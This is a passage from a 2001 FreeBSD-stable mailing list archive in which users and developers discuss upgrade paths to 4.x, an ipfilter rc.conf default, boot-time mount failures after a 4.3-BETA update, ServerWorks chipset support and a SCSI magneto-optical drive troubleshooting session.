freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 10:44:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from whizzo.transsys.com (whizzo.TransSys.COM [144.202.42.10]) by hub.freebsd.org (Postfix) with ESMTP id EB15337B718 for ; Wed, 14 Mar 2001 10:44:17 -0800 (PST) (envelope-from louie@whizzo.transsys.com) Received: from whizzo.transsys.com (localhost.transsys.com [127.0.0.1]) by whizzo.transsys.com (8.11.2/8.11.0) with ESMTP id f2EIiDa94786; Wed, 14 Mar 2001 13:44:13 -0500 (EST) (envelope-from louie@whizzo.transsys.com) Message-Id: <200103141844.f2EIiDa94786@whizzo.transsys.com> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Sean Chittenden Cc: freebsd-stable@FreeBSD.ORG X-Image-URL: http://www.transsys.com/louie/images/louie-mail.jpg From: "Louis A. Mamakos" Subject: Re: Update UPDATING for upgrade path from 3.4 (was Re: Major upgrade)... References: <000e01c0ac9d$abd50040$fd03a8c0@ws001> <20010314101415.B48101@rand.tgd.net> In-reply-to: Your message of "Wed, 14 Mar 2001 10:14:15 PST." <20010314101415.B48101@rand.tgd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Mar 2001 13:44:13 -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I've done this upgrade a few times and tried going from 3.4 -> > 4.X: not so smooth. In fact, big sink whole for time, however, 3.4 -> > 3.5-STABLE -> 4.X works very nicely. Having spent a chunk of time > upgrading 30+ boxes, going to 3.5 works well, but takes more time than > backing up and restoring after a fresh 4.X build. ::grin:: > > At anyrate, would it be possible to have someone not this in > UPGRADING? 3.4 -> 4.X == bad, but 3.4 -> 3.5 -> 4.X == good? It > would've saved me a large chunk of time, esp since the only doc I > found that had a hit of this was Ralf's email (very useful, btw. > Thanks!). -sc It's not *required* that you upgrade from sources. I upgraded an ancient 3.0-CURRENT machine to 4.2 by doing a binary "upgrade" from the 4.2 CDROM. Many of the bootstrapping issues are avoided in this way. From there, I could rebuilt applications as required, do a 'make buildworld' to stay "stable", etc. louie To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 11: 3:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id 10AF237B718 for ; Wed, 14 Mar 2001 11:03:23 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2EJ28H99960; Wed, 14 Mar 2001 11:02:08 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: pfeifer@dbai.tuwien.ac.at Cc: freebsd-stable@FreeBSD.ORG Subject: Re: MFC: src/sys/i386/conf/GENERIC and sound support In-Reply-To: <20010314092518L.jkh@osd.bsdi.com> References: <20001228132307.I94738@stat.Duke.EDU> <20010314092518L.jkh@osd.bsdi.com> X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010314110208B.jkh@osd.bsdi.com> Date: Wed, 14 Mar 2001 11:02:08 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 4 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Erm, never mind that last - as Cameron just pointed out, it works just fine as a module too. Ahem. :) - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 11:14: 0 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mailgate.originative.co.uk (mailgate.originative.co.uk [62.232.68.68]) by hub.freebsd.org (Postfix) with ESMTP id B029B37B718; Wed, 14 Mar 2001 11:13:57 -0800 (PST) (envelope-from paul@freebsd-services.co.uk) Received: from freebsd-services.co.uk (lobster.originative.co.uk [62.232.68.81]) by mailgate.originative.co.uk (Postfix) with ESMTP id 4D4F51D149; Wed, 14 Mar 2001 19:13:56 +0000 (GMT) Message-ID: <3AAFC317.9BFE747@freebsd-services.co.uk> Date: Wed, 14 Mar 2001 19:14:31 +0000 From: Paul Richards X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Kris Kennaway Cc: Yoshihiko SARUMARU , stable@FreeBSD.ORG, paul@FreeBSD.ORG Subject: Re: pkg_update: warnings.pl wants to be MFC'ed References: <8666hc1spn.fsf@juil.domain> <010314210056.M0157727@mistral.imasy.or.jp> <20010314100727.C42426@mollari.cthul.hu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Kris Kennaway wrote: > > On Wed, Mar 14, 2001 at 09:00:56PM +0900, Yoshihiko SARUMARU wrote: > > > > BTW I really wonder if someone is going to fix pkg_update.pl. Fix is > > > so trivial but it already passed almost one month since pr with it was > > > submited. Does anybody want to review it and checkin it into CVS? > > > > PR tell me Paul is responsible for this issue (by Kris). > > Hey Paul, can I use fancy pkg_update in 4.3-RELEASE ? > > Actually, I thought pkg_update was still an experimental feature > (read: hasn't been well tested) -- I'm not sure why it was MFCed, > though it probably should be documented as being experimental. I certainly never intended it to be MFCed. Jordan should have his knuckles rapped because he MFCed it without even trying to run it at which point it would have fallen flat on its face because it uses a perl 5.6 syntax. That said, since it is now in -stable and the fixes are trivial I will commit them shortly. It's certainly still a work in progress but the critical bugs are stomped so I think it's safe to use, but not as useful as it could be. Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 11:15:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sdmail0.sd.bmarts.com (sdmail0.sd.bmarts.com [209.247.77.155]) by hub.freebsd.org (Postfix) with ESMTP id 0D34D37B727; Wed, 14 Mar 2001 11:15:44 -0800 (PST) (envelope-from gordont@bluemtn.net) Received: from localhost (gordont@localhost) by sdmail0.sd.bmarts.com (8.11.3/8.11.2/BMA1.1) with ESMTP id f2EJ5hx27324; Wed, 14 Mar 2001 11:05:43 -0800 (PST) Date: Wed, 14 Mar 2001 11:05:43 -0800 (PST) From: Gordon Tetlow X-X-Sender: To: sam wun Cc: Mike Smith , Pete French , Subject: Re: apache show "Exec format error" In-Reply-To: <3AAF52F2.A03C274F@yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG When a response is given from a cgi, it must start with: Content-Type: \n\n If it doesn't you will always get this error you are describing. -gordon On Wed, 14 Mar 2001, sam wun wrote: > I know this is not an appropriate newsgropu to post this msg, but I would think > you guys konw more about it. > I got the following error when I tried to execue a perl program with calling > .css file: > > Exec format error: exec of /usr/local/cgi-bin/store/managerstylesheet.css > failed > [Wed Mar 14 22:10:03 2001] [error] [client 192.168.1.1] Premature end of script > headers: > /usr/local/cgi-bin/store/managerstylesheet.css > > Does anyone know what is this all about? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 11:54:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nova.fnal.gov (nova.fnal.gov [131.225.121.207]) by hub.freebsd.org (Postfix) with ESMTP id CCE8C37B718 for ; Wed, 14 Mar 2001 11:54:35 -0800 (PST) (envelope-from zingelman@fnal.gov) Received: from localhost (tez@localhost) by nova.fnal.gov (8.9.3+Sun/8.9.3) with ESMTP id NAA08134 for ; Wed, 14 Mar 2001 13:59:55 -0600 (CST) X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Wed, 14 Mar 2001 13:59:55 -0600 (CST) From: Tim Zingelman X-Sender: To: Subject: Re: /etc/default/rc.conf bad default ipfilter_flags? In-Reply-To: <20010314113640.741AF1140FC@netcom1.netcom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I get several confirmations that "-E" is no longer needed, so I have sumbitted a pr: http://www.freebsd.org/cgi/query-pr.cgi?pr=25809 >> from dmesg: >> IP Filter: v3.4.16 initialized. Default = pass all, Logging = enabled >> >> from /var/log/console.log: >> Mar 13 19:32:59 port /kernel: Doing initial network setup: >> Mar 13 19:32:59 port /kernel: hostname >> Mar 13 19:32:59 port /kernel: ipfilter >> Mar 13 19:32:59 port /kernel: SIOCFRENB: Invalid argument >> Mar 13 19:32:59 port /kernel: . >> Mar 13 19:32:59 port /kernel: fxp0: flags=8843> - Tim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 11:58:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lennier.cc.vt.edu (lennier.cc.vt.edu [198.82.161.193]) by hub.freebsd.org (Postfix) with ESMTP id 91D5D37B71A for ; Wed, 14 Mar 2001 11:58:44 -0800 (PST) (envelope-from bjones@vt.edu) Received: from mail.vt.edu (gkar.cc.vt.edu [198.82.161.190]) by lennier.cc.vt.edu (8.11.0/8.11.0) with ESMTP id f2EJwhu111365 for ; Wed, 14 Mar 2001 14:58:43 -0500 (EST) Received: from bej-nt ([128.173.12.23]) by gkar.cc.vt.edu (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with SMTP id <0GA700DZ7E5U04@gkar.cc.vt.edu> for stable@freebsd.org; Wed, 14 Mar 2001 14:58:42 -0500 (EST) Date: Wed, 14 Mar 2001 14:58:42 -0500 From: Brian Jones Subject: CVSUPDATE to 4.3 beta troubles To: "stable@freebsd.org" Reply-To: Brian Jones Message-id: <0GA700DZ8E5U04@gkar.cc.vt.edu> MIME-version: 1.0 X-Mailer: PMMail 2000 Professional (2.10.2010) For Windows NT (4.0.1381;6) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Since CVS updating to 4.3 yesterday my machine will not mount any drives on boot up. Mount -a mounts everything fine after the machine boots up in single user mode. The error it gives is .: Out of file descriptors on boot up. Any ideas on how to fix this? __________________________ CNS Virginia Tech Network Engineering Manager Phone: 540-231-3930 email: bjones@vt.edu __________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 12: 5:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id B822737B719 for ; Wed, 14 Mar 2001 12:05:33 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon.sentex.net (simeon.sentex.ca [209.112.4.47]) by smtp1.sentex.ca (8.11.2/8.11.1) with ESMTP id f2EK5MX84577; Wed, 14 Mar 2001 15:05:22 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <5.0.2.1.0.20010314145850.021d01f0@marble.sentex.ca> X-Sender: mdtpop@marble.sentex.ca X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Wed, 14 Mar 2001 14:59:16 -0500 To: Brian Jones , From: Mike Tancsa Subject: Re: CVSUPDATE to 4.3 beta troubles In-Reply-To: <0GA700DZ8E5U04@gkar.cc.vt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Check your /etc/rc.conf for any missing ending quotes. ---Mike At 02:58 PM 3/14/01 -0500, Brian Jones wrote: >Since CVS updating to 4.3 yesterday my machine will not mount any >drives on boot up. Mount -a mounts everything fine after the machine >boots up in single user mode. The error it gives is .: Out of file >descriptors on boot up. Any ideas on how to fix this? >__________________________ >CNS Virginia Tech >Network Engineering Manager >Phone: 540-231-3930 >email: bjones@vt.edu >__________________________ > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 12:16:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 09D0937B71D for ; Wed, 14 Mar 2001 12:16:41 -0800 (PST) (envelope-from Gerhard.Sittig@gmx.net) Received: (qmail 5867 invoked by uid 0); 14 Mar 2001 20:16:39 -0000 Received: from p3ee20a8c.dip.t-dialin.net (HELO speedy.gsinet) (62.226.10.140) by mail.gmx.net (mp022-rz3) with SMTP; 14 Mar 2001 20:16:39 -0000 Received: (from sittig@localhost) by speedy.gsinet (8.8.8/8.8.8) id UAA22548 for stable@FreeBSD.ORG; Wed, 14 Mar 2001 20:35:20 +0100 Date: Wed, 14 Mar 2001 20:35:20 +0100 From: Gerhard Sittig To: stable@FreeBSD.ORG Subject: Re: /etc/default/rc.conf bad default ipfilter_flags? Message-ID: <20010314203520.Y20830@speedy.gsinet> Mail-Followup-To: stable@FreeBSD.ORG References: <20010314113640.741AF1140FC@netcom1.netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <20010314113640.741AF1140FC@netcom1.netcom.com>; from mvh@ix.netcom.com on Wed, Mar 14, 2001 at 03:36:40AM -0800 Organization: System Defenestrators Inc. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 03:36 -0800, Mike Harding wrote: > > I can confirm that the "-E" seems to be unecessary for both > kernel and kernel module loads. I'm "guilty" of having provided this default setting (see PR conf/20202). :) It's because I tried the OpenBSD invocation (and what I got from the excellent "IPFilter HowTo") in FreeBSD, too. Admittedly I never tried anything else than compiling ipf(4) into the kernel. And I honestly assume a module loaded by the loader (i.e. before / together with the kernel) to be more of an integral part of the kernel than a module loaded much later after having run for some time without the additional functionality. I'm not 100% positive what the -E switch does to the ipf(8) command. If it makes it load the module at all, that's of course a problem when the functionality is already active. "man 8 ipf" tells me: -E Enable the filter (if disabled). Not effective for loadable kernel versions. so I guess it's about having pass as the default action? Or is it the opposite of temporarily issuing "ipf -D" for whatever reason? To summarize: I don't know. And as discussed (in quite some detail) in "man 5 rc.conf" I don't care about ipf(4) being a module. :> Just state when you're sure ipfilter_flags could always be empty and file a PR to have the default corrected ... > I can also confirm that ppp does not play well with ipfilter > because ipfilter needs a 'ipf -y' to pick up the dynamically > configured interfaces - it's set up before these interfaces > exist, so that any rules applying to them don't work! I stick > a 'ipf -y' near the end of pass 1 in /etc/rc.network but this > is my local hack. Are you referring to conf/22859? There's a followup by me discussing three methods of avoiding the problem. One of them being really easy to apply: it's the "ipf -y" you state. The PR got assigned to darrenr, just ask him kindly to commit the three line extension. But yet I feel that ppp users usually have an "ipf -y" in their /etc/ppp/ppp.link{up,down} anyway ... virtually yours 82D1 9B9C 01DC 4FB4 D7B4 61BE 3F49 4F77 72DE DA76 Gerhard Sittig true | mail -s "get gpg key" Gerhard.Sittig@gmx.net -- If you don't understand or are scared by any of the above ask your parents or an adult to help you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 12:48:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lennier.cc.vt.edu (lennier.cc.vt.edu [198.82.161.193]) by hub.freebsd.org (Postfix) with ESMTP id 5697337B71A for ; Wed, 14 Mar 2001 12:48:32 -0800 (PST) (envelope-from bjones@vt.edu) Received: from mail.vt.edu (gkar.cc.vt.edu [198.82.161.190]) by lennier.cc.vt.edu (8.11.0/8.11.0) with ESMTP id f2EKmPu133942; Wed, 14 Mar 2001 15:48:25 -0500 (EST) Received: from bej-nt ([128.173.12.23]) by gkar.cc.vt.edu (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with SMTP id <0GA700JZFGGN5X@gkar.cc.vt.edu>; Wed, 14 Mar 2001 15:48:24 -0500 (EST) Date: Wed, 14 Mar 2001 15:48:23 -0500 From: Brian Jones Subject: Re: CVSUPDATE to 4.3 beta troubles In-reply-to: <5.0.2.1.0.20010314145850.021d01f0@marble.sentex.ca> To: Mike Tancsa Cc: "stable@FreeBSD.ORG" Reply-To: Brian Jones Message-id: <0GA700JZGGGN5X@gkar.cc.vt.edu> MIME-version: 1.0 X-Mailer: PMMail 2000 Professional (2.10.2010) For Windows NT (4.0.1381;6) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Looks like /etc/rc.conf is okay. I am using the same one as before and it worked before. I can't find and missing quotes. On Wed, 14 Mar 2001 14:59:16 -0500, Mike Tancsa wrote: >Check your /etc/rc.conf for any missing ending quotes. __________________________ CNS Virginia Tech Network Engineering Manager Phone: 540-231-3930 email: bjones@vt.edu __________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 12:52: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from smtp1.sentex.ca (smtp1.sentex.ca [199.212.134.4]) by hub.freebsd.org (Postfix) with ESMTP id 3E45337B718 for ; Wed, 14 Mar 2001 12:52:02 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon.sentex.net (simeon.sentex.ca [209.112.4.47]) by smtp1.sentex.ca (8.11.2/8.11.1) with ESMTP id f2EKpxX00111; Wed, 14 Mar 2001 15:51:59 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <5.0.2.1.0.20010314154529.03277c30@marble.sentex.ca> X-Sender: mdtpop@marble.sentex.ca X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Wed, 14 Mar 2001 15:45:53 -0500 To: Brian Jones From: Mike Tancsa Subject: Re: CVSUPDATE to 4.3 beta troubles Cc: "stable@FreeBSD.ORG" In-Reply-To: <0GA700JZGGGN5X@gkar.cc.vt.edu> References: <5.0.2.1.0.20010314145850.021d01f0@marble.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Did you update sync everything in /usr/src/etc and /etc ? ---Mike At 03:48 PM 3/14/01 -0500, Brian Jones wrote: >Looks like /etc/rc.conf is okay. I am using the same one as before and >it worked before. I can't find and missing quotes. > >On Wed, 14 Mar 2001 14:59:16 -0500, Mike Tancsa wrote: > > >Check your /etc/rc.conf for any missing ending quotes. > >__________________________ >CNS Virginia Tech >Network Engineering Manager >Phone: 540-231-3930 >email: bjones@vt.edu >__________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 14: 5:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from hees.nijmegen.inter.nl.net (hees.nijmegen.inter.nl.net [193.67.237.8]) by hub.freebsd.org (Postfix) with ESMTP id 1496B37B718 for ; Wed, 14 Mar 2001 14:05:12 -0800 (PST) (envelope-from Peter.Blok@inter.NL.net) Received: from hatert.nijmegen.inter.nl.net by hees.nijmegen.inter.nl.net via hatert.nijmegen.inter.nl.net [193.67.237.7] with ESMTP for id XAA29461 (8.8.8/1.3); Wed, 14 Mar 2001 23:05:10 +0100 (MET) Date: Wed, 14 Mar 2001 23:05:06 +0100 (MET) From: "Peter.Blok" To: freebsd-stable@freebsd.org Subject: stable on serverworks chipset Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is stable working on serverworks chipsets? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 14:44:56 2001 Delivered-To: freebsd-stable@freebsd.org Received: from web9502.mail.yahoo.com (web9502.mail.yahoo.com [216.136.129.132]) by hub.freebsd.org (Postfix) with SMTP id E4A9037B718 for ; Wed, 14 Mar 2001 14:44:54 -0800 (PST) (envelope-from peldan@yahoo.com) Message-ID: <20010314224449.37600.qmail@web9502.mail.yahoo.com> Received: from [128.2.198.228] by web9502.mail.yahoo.com; Wed, 14 Mar 2001 14:44:49 PST Date: Wed, 14 Mar 2001 14:44:49 -0800 (PST) From: Dan Pelleg Subject: RE: New 4.3 BETA (BETA2) release available To: freebsd-stable@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can we hope to see PRs 25640/25566 fixed in time? __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 14:48:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 1BA8E37B718 for ; Wed, 14 Mar 2001 14:48:41 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2EMmZj11567; Wed, 14 Mar 2001 14:48:35 -0800 (PST) Date: Wed, 14 Mar 2001 14:48:35 -0800 From: Alfred Perlstein To: "Peter.Blok" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: stable on serverworks chipset Message-ID: <20010314144835.N29888@fw.wintelcom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Peter.Blok@inter.NL.net on Wed, Mar 14, 2001 at 11:05:06PM +0100 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Peter.Blok [010314 14:05] wrote: > Is stable working on serverworks chipsets? Looks like it, I've got a machine that worked a long time ago with -stable (since 4.3-release most likely) atapci0: port 0xffa0-0xffaf at device 15.1 on pci0 pcib1: at pcibus 1 on motherboard pci1: physical bus=1 -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 15: 7:31 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 5398637B719; Wed, 14 Mar 2001 15:07:26 -0800 (PST) (envelope-from obrien@NUXI.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.3/8.11.1) id f2EN7Ps05270; Wed, 14 Mar 2001 15:07:25 -0800 (PST) (envelope-from obrien) Date: Wed, 14 Mar 2001 15:07:21 -0800 From: "David O'Brien" To: stable@freebsd.org, alpha@freebsd.org Subject: Re: New 4.3 BETA (BETA2) release available Message-ID: <20010314150721.A5250@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20010313191333C.jkh@osd.bsdi.com> <20010313234512.A91108@dragon.nuxi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010313234512.A91108@dragon.nuxi.com>; from obrien@freebsd.org on Tue, Mar 13, 2001 at 11:45:12PM -0800 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Mar 13, 2001 at 11:45:12PM -0800, David O'Brien wrote: > The Alpha version is now available at > > ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha/4.3-BETA-20010313 > > I'll roll and ISO and copy it up ASAP. Alpha ISO is now available as ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha/ISO-IMAGES/4.3-beta-20010313.iso To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 15:30: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.westbend.net (ns1.westbend.net [216.106.246.3]) by hub.freebsd.org (Postfix) with ESMTP id 5BECB37B718 for ; Wed, 14 Mar 2001 15:29:58 -0800 (PST) (envelope-from hetzels@westbend.net) Received: from admin (admin0.westbend.net [216.106.246.17]) by mail.westbend.net (8.11.2/8.11.2) with ESMTP id f2ENTtG87118; Wed, 14 Mar 2001 17:29:55 -0600 (CST) (envelope-from hetzels@westbend.net) Message-ID: <00e901c0acde$9dc4a000$11f66ad8@westbend.net> From: "Scot W. Hetzel" To: "Brian Jones" , "stable@freebsd.org" References: <0GA700DZ8E5U04@gkar.cc.vt.edu> Subject: Re: CVSUPDATE to 4.3 beta troubles Date: Wed, 14 Mar 2001 17:29:29 -0600 Organization: West Bend Interent MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: "Brian Jones" > Since CVS updating to 4.3 yesterday my machine will not mount any > drives on boot up. Mount -a mounts everything fine after the machine > boots up in single user mode. The error it gives is .: Out of file > descriptors on boot up. Any ideas on how to fix this? > Kind of sounds like the old problem were the /etc/defaults/rc.conf file was copied to /etc/rc.conf. Check the end of your /etc/rc.conf for a script that is sourcing the ${rc_conf_files}. If there is a script, then you need to remove it. Scot To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 15:38:19 2001 Delivered-To: freebsd-stable@freebsd.org Received: from areilly.bpc-users.org (CPE-144-132-234-126.nsw.bigpond.net.au [144.132.234.126]) by hub.freebsd.org (Postfix) with SMTP id 168F637B719 for ; Wed, 14 Mar 2001 15:38:10 -0800 (PST) (envelope-from areilly@bigpond.net.au) Received: (qmail 1011 invoked by uid 1000); 14 Mar 2001 23:38:08 -0000 From: "Andrew Reilly" Date: Thu, 15 Mar 2001 10:38:08 +1100 To: "Justin T. Gibbs" Cc: Andrew Reilly , Jordan Hubbard , stable@FreeBSD.ORG Subject: Re: Uh oh. Looks like something broke with the AHC driver.. Message-ID: <20010315103808.A847@gurney.reilly.home> References: <20010314223403.A56449@gurney.reilly.home> <200103141401.f2EE1Ks71771@aslan.scsiguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103141401.f2EE1Ks71771@aslan.scsiguy.com>; from gibbs@scsiguy.com on Wed, Mar 14, 2001 at 07:01:20AM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Mar 14, 2001 at 07:01:20AM -0700, Justin T. Gibbs wrote: > >Here's a possible "me too". I haven't reported this before > >because (a) da2 is my backup Fujitsu MO drive, and it does do > >odd things occasionally, and (b) the backup disk is currently > >full and I haven't thrown the requisite round-tuit at it. > > This looks like a device problem. The driver believes that the > transaction that timesout has been sent to the device and the > device has disconnected never to return. Since the driver is > able to select the device to give it a BDR, the device isn't > dead. Perhaps it just doesn't like the command the system > decided to send it??? I won't discount the "device problem" theory out of hand, because I know that flaky things have happened in the past. It does tend to be a bit slow when responding to start commands too, so (again, in the past) it would sometimes take a couple of mount attempts before a disk would mount. Lately, though, it's been working like a top. Until last weekend's upgrade to 4.3-BETA. Now it won't even report the size of the disk in the drive at boot time. I've just tried a few camcontrol commands: $ sudo camcontrol devlist -v scbus0 on ahc0 bus 0: at scbus0 target 6 lun 0 (pass0,da2) < > at scbus0 target -1 lun -1 () scbus-1 on xpt0 bus 0: < > at scbus-1 target -1 lun -1 (xpt0) $ sudo camcontrol eject da2 Error received from stop unit command $ sudo camcontrol eject da2 Unit stopped successfully, Media ejected (and it was. Pop it back in...) $ sudo camcontrol inquiry da2 pass0: Removable Optical SCSI-2 device pass0: 10.000MB/s transfers (10.000MHz, offset 10) $ sudo camcontrol rescan 0:6:0 Re-scan of 0:6:0 was successful $ sudo mount /dev/da2c /mnt Well I'll be [...]. It worked that time. The last dozen times I tried that it told me "device not configured" or "IO error". I was going to ask the list what to do about a "device not configured" message, because that seems to be the most common occurrance, and seems to make the least sense to me, because the device most definitely has an entry in /dev and the dmesg.boot file certainly thinks that it exists. Weird. $ mount /dev/ad0s2a on / (ufs, local) /dev/ad0s2f on /usr (ufs, local, soft-updates) /dev/ad1s2f on /usr/obj (ufs, local, soft-updates) /dev/ad1s2g on /usr/local (ufs, local, soft-updates) /dev/ad0s2e on /var (ufs, local, soft-updates) procfs on /proc (procfs, local) /dev/da2c on /mnt (ufs, local) Happy as a lark now. Is my MO drive really on it's 